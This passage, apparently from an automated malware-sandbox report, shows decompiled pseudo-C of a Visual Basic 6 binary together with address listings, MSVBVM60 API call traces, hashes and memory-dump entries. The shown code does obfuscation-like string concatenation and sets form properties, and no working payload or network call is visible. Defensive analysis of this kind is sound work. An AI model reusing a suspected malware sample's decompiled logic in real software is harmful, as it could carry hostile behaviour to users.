        • Opcode ID: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
        • Instruction ID: f1647c15dfe5582e2114d8b48c9dc7a79c4e1b76aa7bcc19d5d00c5bce2ac4c7
        • Opcode Fuzzy Hash: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
        • Instruction Fuzzy Hash:
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 35%
        			E004133EA(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				char _v24;
        				char _v36;
        				char _v40;
        				char _v44;
        				char _v48;
        				char _v52;
        				char _v56;
        				char _v60;
        				char _v64;
        				char _v68;
        				char _v72;
        				char _v76;
        				char _v80;
        				char _v84;
        				char _v88;
        				char _v92;
        				char _v96;
        				char _v100;
        				char _v104;
        				char _v108;
        				char _v112;
        				signed int _v120;
        				char _v128;
        				char _v144;
        				signed int _v168;
        				char _v176;
        				char* _v184;
        				intOrPtr _v192;
        				void* _v212;
        				signed int _v216;
        				signed int _v220;
        				signed int _v228;
        				intOrPtr* _v232;
        				signed int _v236;
        				signed int _t155;
        				signed int _t162;
        				signed int _t166;
        				char* _t169;
        				signed int _t184;
        				signed int _t188;
        				char* _t192;
        				signed int _t193;
        				signed int _t194;
        				intOrPtr _t301;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t301;
        				L004013C0();
        				_v12 = _t301;
        				_v8 = 0x401398;
        				_push(0x402a08);
        				_push(0x402c58);
        				L004015AC();
        				L004015B2();
        				_push(0xd8);
        				_push(0x402a08);
        				L004015AC();
        				L004015B2();
        				_push(0xd8);
        				_push(0x402c58);
        				L004015AC();
        				L004015B2();
        				_push(0xd8);
        				_push(0x402a08);
        				L004015AC();
        				L004015B2();
        				_push(0xd8);
        				_push(0x4026d4);
        				L004015AC();
        				_v120 = 0xd8;
        				_v128 = 8;
        				_push( &_v128);
        				_push( &_v144);
        				L004014AA();
        				_v168 = 0xc;
        				_v176 = 0x8002;
        				_push( &_v144);
        				_t155 =  &_v176;
        				_push(_t155);
        				L004015DC();
        				_v216 = _t155;
        				_push( &_v48);
        				_push( &_v44);
        				_push( &_v40);
        				_push( &_v36);
        				_push(4);
        				L004015A6();
        				_push( &_v144);
        				_push( &_v128);
        				_push(2);
        				L004015BE();
        				_t162 = _v216;
        				if(_t162 != 0) {
        					L004015AC();
        					L004015B2();
        					L004015AC();
        					L004015B2();
        					L004015AC();
        					L004015B2();
        					L004015AC();
        					L004015B2();
        					L004015AC();
        					L004015B2();
        					L004015AC();
        					_v120 = _t162;
        					_v128 = 8;
        					_v184 = L"BERUFSVERBOT";
        					_v192 = 8;
        					_t166 =  *((intOrPtr*)( *_a4 + 0x218))(_a4,  &_v112, 0x402a30, _t162, 0x402b2c, _t162, 0x402b24, _t162, 0x402b1c, _t162, 0x402b14, _t162, 0x4026c4, 0x402b0c);
        					asm("fclex");
        					_v216 = _t166;
        					if(_v216 >= 0) {
        						_v228 = _v228 & 0x00000000;
        					} else {
        						_push(0x218);
        						_push(0x402434);
        						_push(_a4);
        						_push(_v216);
        						L00401552();
        						_v228 = _t166;
        					}
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(2);
        					_push(L"Add");
        					_push(_v112);
        					_t169 =  &_v144;
        					_push(_t169);
        					L00401498();
        					_push(_t169);
        					L0040149E();
        					_push(_t169);
        					_push( &_v24);
        					L004014A4();
        					_push( &_v52);
        					_push( &_v48);
        					_push( &_v44);
        					_push( &_v40);
        					_push( &_v36);
        					_push(5);
        					L004015A6();
        					L0040152E();
        					_push( &_v144);
        					_push( &_v128);
        					_push(2);
        					L004015BE();
        					_v168 = 0x470d;
        					_v176 = 2;
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(L"X1");
        					_push(_v24);
        					L00401492();
        					_v168 = 0x878;
        					_v176 = 2;
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(L"X2");
        					_push(_v24);
        					L00401492();
        					_v168 = 0x2c0e;
        					_v176 = 2;
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(L"Y1");
        					_push(_v24);
        					L00401492();
        					if( *0x415010 != 0) {
        						_v232 = 0x415010;
        					} else {
        						_push(0x415010);
        						_push(0x4030f8);
        						L00401558();
        						_v232 = 0x415010;
        					}
        					_t184 =  &_v112;
        					L0040155E();
        					_v216 = _t184;
        					_t188 =  *((intOrPtr*)( *_v216 + 0x108))(_v216,  &_v212, _t184,  *((intOrPtr*)( *((intOrPtr*)( *_v232)) + 0x35c))( *_v232));
        					asm("fclex");
        					_v220 = _t188;
        					if(_v220 >= 0) {
        						_v236 = _v236 & 0x00000000;
        					} else {
        						_push(0x108);
        						_push(0x40275c);
        						_push(_v216);
        						_push(_v220);
        						L00401552();
        						_v236 = _t188;
        					}
        					_v168 = _v212;
        					_v176 = 2;
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(L"Y2");
        					_push(_v24);
        					L00401492();
        					L0040152E();
        					_v168 = _v168 | 0xffffffff;
        					_v176 = 0xb;
        					_push(0x10);
        					L004013C0();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_push(L"Visible");
        					_push(_v24);
        					L00401492();
        					_v168 = 1;
        					_v176 = 0x8002;
        					_push(0);
        					_push(L"BorderStyle");
        					_push(_v24);
        					_t192 =  &_v128;
        					_push(_t192);
        					L00401498();
        					_push(_t192);
        					_t193 =  &_v176;
        					_push(_t193);
        					L004015DC();
        					_v216 = _t193;
        					L0040156A();
        					_t162 = _v216;
        					if(_t162 != 0) {
        						_v120 = 0xe;
        						_v128 = 2;
        						_t194 =  &_v128;
        						_push(_t194);
        						L0040148C();
        						L004015B2();
        						_push(_t194);
        						_push(0x402728);
        						_push(0x402b94);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402980);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402908);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402b9c);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402ba4);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402908);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402bac);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402980);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402a38);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402b24);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402b2c);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402bb4);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402908);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402bac);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402bbc);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402a00);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402a28);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						_push(0x402a30);
        						L004015AC();
        						L004015B2();
        						_push(_t194);
        						L00401582();
        						asm("sbb eax, eax");
        						_v216 =  ~( ~_t194 + 1);
        						_push( &_v108);
        						_push( &_v104);
        						_push( &_v100);
        						_push( &_v96);
        						_push( &_v92);
        						_push( &_v88);
        						_t134 =  &_v84; // 0x402a30
        						_push( &_v80);
        						_t136 =  &_v76; // 0x402b2c
        						_push( &_v72);
        						_t138 =  &_v68; // 0x402b24
        						_push( &_v64);
        						_push( &_v60);
        						_push( &_v56);
        						_push( &_v52);
        						_push( &_v48);
        						_push( &_v44);
        						_push( &_v40);
        						_push( &_v36);
        						_push(0x13);
        						L004015A6();
        						L0040156A();
        						_t162 = _v216;
        						if(_t162 != 0) {
        							L00401486();
        						}
        					}
        				}
        				asm("wait");
        				_push(0x413b2d);
        				L0040152E();
        				return _t162;
        			}

















































        0x004133ef
        0x004133fa
        0x004133fb
        0x00413407
        0x0041340f
        0x00413412
        0x00413419
        0x0041341e
        0x00413423
        0x0041342d
        0x00413432
        0x00413433
        0x00413438
        0x00413442
        0x00413447
        0x00413448
        0x0041344d
        0x00413457
        0x0041345c
        0x0041345d
        0x00413462
        0x0041346c
        0x00413471
        0x00413472
        0x00413477
        0x0041347c
        0x0041347f
        0x00413489
        0x00413490
        0x00413491
        0x00413496
        0x004134a0
        0x004134b0
        0x004134b1
        0x004134b7
        0x004134b8
        0x004134bd
        0x004134c7
        0x004134cb
        0x004134cf
        0x004134d3
        0x004134d4
        0x004134d6
        0x004134e4
        0x004134e8
        0x004134e9
        0x004134eb
        0x004134f3
        0x004134fc
        0x0041350c
        0x00413516
        0x00413521
        0x0041352b
        0x00413536
        0x00413540
        0x0041354b
        0x00413555
        0x00413560
        0x0041356a
        0x00413575
        0x0041357a
        0x0041357d
        0x00413584
        0x0041358e
        0x004135a4
        0x004135aa
        0x004135ac
        0x004135b9
        0x004135db
        0x004135bb
        0x004135bb
        0x004135c0
        0x004135c5
        0x004135c8
        0x004135ce
        0x004135d3
        0x004135d3
        0x004135e2
        0x004135e5
        0x004135ef
        0x004135f0
        0x004135f1
        0x004135f2
        0x004135f3
        0x004135f6
        0x00413603
        0x00413604
        0x00413605
        0x00413606
        0x00413607
        0x00413609
        0x0041360e
        0x00413611
        0x00413617
        0x00413618
        0x00413620
        0x00413621
        0x00413626
        0x0041362a
        0x0041362b
        0x00413633
        0x00413637
        0x0041363b
        0x0041363f
        0x00413643
        0x00413644
        0x00413646
        0x00413651
        0x0041365c
        0x00413660
        0x00413661
        0x00413663
        0x0041366b
        0x00413675
        0x0041367f
        0x00413682
        0x0041368f
        0x00413690
        0x00413691
        0x00413692
        0x00413693
        0x00413698
        0x0041369b
        0x004136a0
        0x004136aa
        0x004136b4
        0x004136b7
        0x004136c4
        0x004136c5
        0x004136c6
        0x004136c7
        0x004136c8
        0x004136cd
        0x004136d0
        0x004136d5
        0x004136df
        0x004136e9
        0x004136ec
        0x004136f9
        0x004136fa
        0x004136fb
        0x004136fc
        0x004136fd
        0x00413702
        0x00413705
        0x00413711
        0x0041372e
        0x00413713
        0x00413713
        0x00413718
        0x0041371d
        0x00413722
        0x00413722
        0x00413752
        0x00413756
        0x0041375b
        0x00413776
        0x0041377c
        0x0041377e
        0x0041378b
        0x004137b0
        0x0041378d
        0x0041378d
        0x00413792
        0x00413797
        0x0041379d
        0x004137a3
        0x004137a8
        0x004137a8
        0x004137be
        0x004137c5
        0x004137cf
        0x004137d2
        0x004137df
        0x004137e0
        0x004137e1
        0x004137e2
        0x004137e3
        0x004137e8
        0x004137eb
        0x004137f3
        0x004137f8
        0x004137ff
        0x00413809
        0x0041380c
        0x00413819
        0x0041381a
        0x0041381b
        0x0041381c
        0x0041381d
        0x00413822
        0x00413825
        0x0041382a
        0x00413834
        0x0041383e
        0x00413840
        0x00413845
        0x00413848
        0x0041384b
        0x0041384c
        0x00413854
        0x00413855
        0x0041385b
        0x0041385c
        0x00413861
        0x0041386b
        0x00413870
        0x00413879
        0x0041387f
        0x00413886
        0x0041388d
        0x00413890
        0x00413891
        0x0041389b
        0x004138a0
        0x004138a1
        0x004138a6
        0x004138ab
        0x004138b5
        0x004138ba
        0x004138bb
        0x004138c0
        0x004138ca
        0x004138cf
        0x004138d0
        0x004138d5
        0x004138df
        0x004138e4
        0x004138e5
        0x004138ea
        0x004138f4
        0x004138f9
        0x004138fa
        0x004138ff
        0x00413909
        0x0041390e
        0x0041390f
        0x00413914
        0x0041391e
        0x00413923
        0x00413924
        0x00413929
        0x00413933
        0x00413938
        0x00413939
        0x0041393e
        0x00413948
        0x0041394d
        0x0041394e
        0x00413953
        0x0041395d
        0x00413962
        0x00413963
        0x00413968
        0x00413972
        0x00413977
        0x00413978
        0x0041397d
        0x00413987
        0x0041398c
        0x0041398d
        0x00413992
        0x0041399c
        0x004139a1
        0x004139a2
        0x004139a7
        0x004139b1
        0x004139b6
        0x004139b7
        0x004139bc
        0x004139c6
        0x004139cb
        0x004139cc
        0x004139d1
        0x004139db
        0x004139e0
        0x004139e1
        0x004139e6
        0x004139f0
        0x004139f5
        0x004139f6
        0x004139fb
        0x00413a05
        0x00413a0a
        0x00413a0b
        0x00413a10
        0x00413a1a
        0x00413a1f
        0x00413a20
        0x00413a27
        0x00413a2c
        0x00413a36
        0x00413a3a
        0x00413a3e
        0x00413a42
        0x00413a46
        0x00413a4a
        0x00413a4b
        0x00413a52
        0x00413a53
        0x00413a5a
        0x00413a5b
        0x00413a62
        0x00413a66
        0x00413a6a
        0x00413a6e
        0x00413a72
        0x00413a76
        0x00413a7a
        0x00413a7e
        0x00413a7f
        0x00413a81
        0x00413a8c
        0x00413a91
        0x00413a9a
        0x00413a9c
        0x00413a9c
        0x00413a9a
        0x00413879
        0x00413aa1
        0x00413aa2
        0x00413b27
        0x00413b2c

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00413407
        • __vbaStrCat.MSVBVM60(00402C58,00402A08,?,?,?,?,004013C6), ref: 00413423
        • __vbaStrMove.MSVBVM60(00402C58,00402A08,?,?,?,?,004013C6), ref: 0041342D
        • __vbaStrCat.MSVBVM60(00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 00413438
        • __vbaStrMove.MSVBVM60(00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 00413442
        • __vbaStrCat.MSVBVM60(00402C58,00000000,00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 0041344D
        • __vbaStrMove.MSVBVM60(00402C58,00000000,00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 00413457
        • __vbaStrCat.MSVBVM60(00402A08,00000000,00402C58,00000000,00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 00413462
        • __vbaStrMove.MSVBVM60(00402A08,00000000,00402C58,00000000,00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 0041346C
        • __vbaStrCat.MSVBVM60(004026D4,00000000,00402A08,00000000,00402C58,00000000,00402A08,00000000,00402C58,00402A08,?,?,?,?,004013C6), ref: 00413477
        • #544.MSVBVM60(?,00000008), ref: 00413491
        • __vbaVarTstEq.MSVBVM60(00008002,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 004134B8
        • __vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00008002,?), ref: 004134D6
        • __vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 004134EB
        • __vbaStrCat.MSVBVM60(004026C4,00402B0C), ref: 0041350C
        • __vbaStrMove.MSVBVM60(004026C4,00402B0C), ref: 00413516
        • __vbaStrCat.MSVBVM60(00402B14,00000000,004026C4,00402B0C), ref: 00413521
        • __vbaStrMove.MSVBVM60(00402B14,00000000,004026C4,00402B0C), ref: 0041352B
        • __vbaStrCat.MSVBVM60(00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413536
        • __vbaStrMove.MSVBVM60(00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413540
        • __vbaStrCat.MSVBVM60(00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 0041354B
        • __vbaStrMove.MSVBVM60(00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413555
        • __vbaStrCat.MSVBVM60(00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413560
        • __vbaStrMove.MSVBVM60(00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 0041356A
        • __vbaStrCat.MSVBVM60(00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413575
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402434,00000218), ref: 004135CE
        • __vbaChkstk.MSVBVM60 ref: 004135E5
        • __vbaChkstk.MSVBVM60 ref: 004135F6
        • __vbaLateMemCallLd.MSVBVM60(?,?,Add,00000002), ref: 00413618
        • __vbaObjVar.MSVBVM60(00000000,00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 00413621
        • __vbaObjSetAddref.MSVBVM60(?,00000000,00000000,00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000,004026C4,00402B0C), ref: 0041362B
        • __vbaFreeStrList.MSVBVM60(00000005,?,00402B0C,004026C4,00000000,00402B14,?,00000000,00000000,00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C), ref: 00413646
        • __vbaFreeObj.MSVBVM60(?,?,?,?,00000000,00000000,00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C,00000000,00402B14,00000000), ref: 00413651
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,00000000,00000000,00402A30,00000000,00402B2C,00000000,00402B24,00000000,00402B1C), ref: 00413663
        • __vbaChkstk.MSVBVM60 ref: 00413682
        • __vbaLateMemSt.MSVBVM60(?,00402B54), ref: 0041369B
        • __vbaChkstk.MSVBVM60(?,00402B54), ref: 004136B7
        • __vbaLateMemSt.MSVBVM60(?,00402B5C,?,00402B54), ref: 004136D0
        • __vbaChkstk.MSVBVM60(?,00402B5C,?,00402B54), ref: 004136EC
        • __vbaLateMemSt.MSVBVM60(?,00402B64,?,00402B5C,?,00402B54), ref: 00413705
        • __vbaNew2.MSVBVM60(004030F8,00415010,?,00402B64,?,00402B5C,?,00402B54), ref: 0041371D
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C,?,00402B54), ref: 00413756
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,0040275C,00000108,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C), ref: 004137A3
        • __vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C,?,00402B54), ref: 004137D2
        • __vbaLateMemSt.MSVBVM60(?,00402B6C,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C,?,00402B54), ref: 004137EB
        • __vbaFreeObj.MSVBVM60(?,00402B6C,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C,?,00402B54), ref: 004137F3
        • __vbaChkstk.MSVBVM60(?,00402B6C,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C,?,00402B54), ref: 0041380C
        • __vbaLateMemSt.MSVBVM60(?,Visible,?,00402B6C,?,?,?,?,?,?,?,?,?,00402B64,?,00402B5C), ref: 00413825
        • __vbaLateMemCallLd.MSVBVM60(?,?,BorderStyle,00000000,?,Visible,?,00402B6C), ref: 0041384C
        • __vbaVarTstEq.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00402A30), ref: 0041385C
        • __vbaFreeVar.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00402A30), ref: 0041386B
        • #651.MSVBVM60(00000002,?,00000000), ref: 00413891
        • __vbaStrMove.MSVBVM60(00000002,?,00000000), ref: 0041389B
        • __vbaStrCat.MSVBVM60(00402B94,00402728,00000000,00000002,?,00000000), ref: 004138AB
        • __vbaStrMove.MSVBVM60(00402B94,00402728,00000000,00000002,?,00000000), ref: 004138B5
        • __vbaStrCat.MSVBVM60(00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138C0
        • __vbaStrMove.MSVBVM60(00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138CA
        • __vbaStrCat.MSVBVM60(00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138D5
        • __vbaStrMove.MSVBVM60(00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138DF
        • __vbaStrCat.MSVBVM60(00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138EA
        • __vbaStrMove.MSVBVM60(00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138F4
        • __vbaStrCat.MSVBVM60(00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 004138FF
        • __vbaStrMove.MSVBVM60(00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 00413909
        • __vbaStrCat.MSVBVM60(00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 00413914
        • __vbaStrMove.MSVBVM60(00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002,?,00000000), ref: 0041391E
        • __vbaStrCat.MSVBVM60(00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002), ref: 00413929
        • __vbaStrMove.MSVBVM60(00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728,00000000,00000002), ref: 00413933
        • __vbaStrCat.MSVBVM60(00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728), ref: 0041393E
        • __vbaStrMove.MSVBVM60(00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728), ref: 00413948
        • __vbaStrCat.MSVBVM60(00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000), ref: 00413953
        • __vbaStrMove.MSVBVM60(00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000), ref: 0041395D
        • __vbaStrCat.MSVBVM60(00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000), ref: 00413968
        • __vbaStrMove.MSVBVM60(00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000), ref: 00413972
        • __vbaStrCat.MSVBVM60(00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000), ref: 0041397D
        • __vbaStrMove.MSVBVM60(00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000), ref: 00413987
        • __vbaStrCat.MSVBVM60(00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000), ref: 00413992
        • __vbaStrMove.MSVBVM60(00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000), ref: 0041399C
        • __vbaStrCat.MSVBVM60(00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000), ref: 004139A7
        • __vbaStrMove.MSVBVM60(00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000,00402908,00000000), ref: 004139B1
        • __vbaStrCat.MSVBVM60(00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000), ref: 004139BC
        • __vbaStrMove.MSVBVM60(00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000,00402BAC,00000000), ref: 004139C6
        • __vbaStrCat.MSVBVM60(00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000), ref: 004139D1
        • __vbaStrMove.MSVBVM60(00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000,00402980,00000000), ref: 004139DB
        • __vbaStrCat.MSVBVM60(00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000), ref: 004139E6
        • __vbaStrMove.MSVBVM60(00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000,00402A38,00000000), ref: 004139F0
        • __vbaStrCat.MSVBVM60(00402A28,00000000,00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000), ref: 004139FB
        • __vbaStrMove.MSVBVM60(00402A28,00000000,00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000,00402B24,00000000), ref: 00413A05
        • __vbaStrCat.MSVBVM60(00402A30,00000000,00402A28,00000000,00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000), ref: 00413A10
        • __vbaStrMove.MSVBVM60(00402A30,00000000,00402A28,00000000,00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C,00000000), ref: 00413A1A
        • __vbaStrCmp.MSVBVM60(00000000,00402A30,00000000,00402A28,00000000,00402A00,00000000,00402BBC,00000000,00402BAC,00000000,00402908,00000000,00402BB4,00000000,00402B2C), ref: 00413A20
        • __vbaFreeStrList.MSVBVM60(00000013,?,00402B0C,004026C4,00000000,00402B14,00000000,00402B1C,00000000,$+@,00000000,,+@,00000000,0*@,00000000,00000000), ref: 00413A81
        • __vbaFreeVar.MSVBVM60(00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728), ref: 00413A8C
        • #554.MSVBVM60(00402980,00000000,00402BAC,00000000,00402908,00000000,00402BA4,00000000,00402B9C,00000000,00402908,00000000,00402980,00000000,00402B94,00402728), ref: 00413A9C
        • __vbaFreeObj.MSVBVM60(00413B2D), ref: 00413B27
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Move$Free$Chkstk$Late$List$CallCheckHresult$#544#554#651AddrefNew2
        • String ID: G$$+@$,+@$0*@$Add$BorderStyle$Visible
        • API String ID: 2720917139-1323165860
        • Opcode ID: c9b797c81b51c2700a873904b3f9bcc46870d6a4053ca49a3bcff63d4b8162e5
        • Instruction ID: 9108004c524fdaa7b9987a42d07840be47347e4820b5e014fd9651a3cdce577f
        • Opcode Fuzzy Hash: c9b797c81b51c2700a873904b3f9bcc46870d6a4053ca49a3bcff63d4b8162e5
        • Instruction Fuzzy Hash: 94023071E40208AADB11EFA1CD46FDE7378AF44704F50417BB506BB1E1DAB8AA448F69
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 41%
        			E00411195(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a16) {
        				intOrPtr _v8;
        				long long* _v12;
        				long long* _v36;
        				char _v48;
        				void* _v56;
        				intOrPtr _v60;
        				char _v64;
        				char _v68;
        				char _v88;
        				signed int _v92;
        				signed int _v96;
        				signed int _v104;
        				intOrPtr* _v108;
        				signed int _v112;
        				signed int _t62;
        				signed int _t66;
        				char* _t68;
        				signed int _t76;
        				signed int _t80;
        				signed int _t84;
        				char* _t93;
        				long long* _t110;
        				signed int _t111;
        				void* _t112;
        				signed int _t113;
        				long long _t117;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t110;
        				_push(0x5c);
        				L004013C0();
        				_v12 = _t110;
        				_v8 = 0x4012f8;
        				L0040154C();
        				_push(5);
        				_push(0x402a40);
        				_t62 =  &_v48;
        				_push(_t62);
        				L004014CE();
        				_push(0x402a28);
        				_push(0x402a30);
        				L004015AC();
        				L004015B2();
        				_push(_t62);
        				_push(0x402a38);
        				L004015AC();
        				L004015B2();
        				L004015C4();
        				_push(0);
        				_push(0xffffffff);
        				_push(1);
        				_push(0);
        				_push(0x402a30);
        				_push(_v60);
        				L004014C8();
        				L004015B2();
        				_push(_v60);
        				_push(0x402a28);
        				_push(0x402a38);
        				L004015AC();
        				L004015B2();
        				_push(_t62);
        				L00401582();
        				asm("sbb eax, eax");
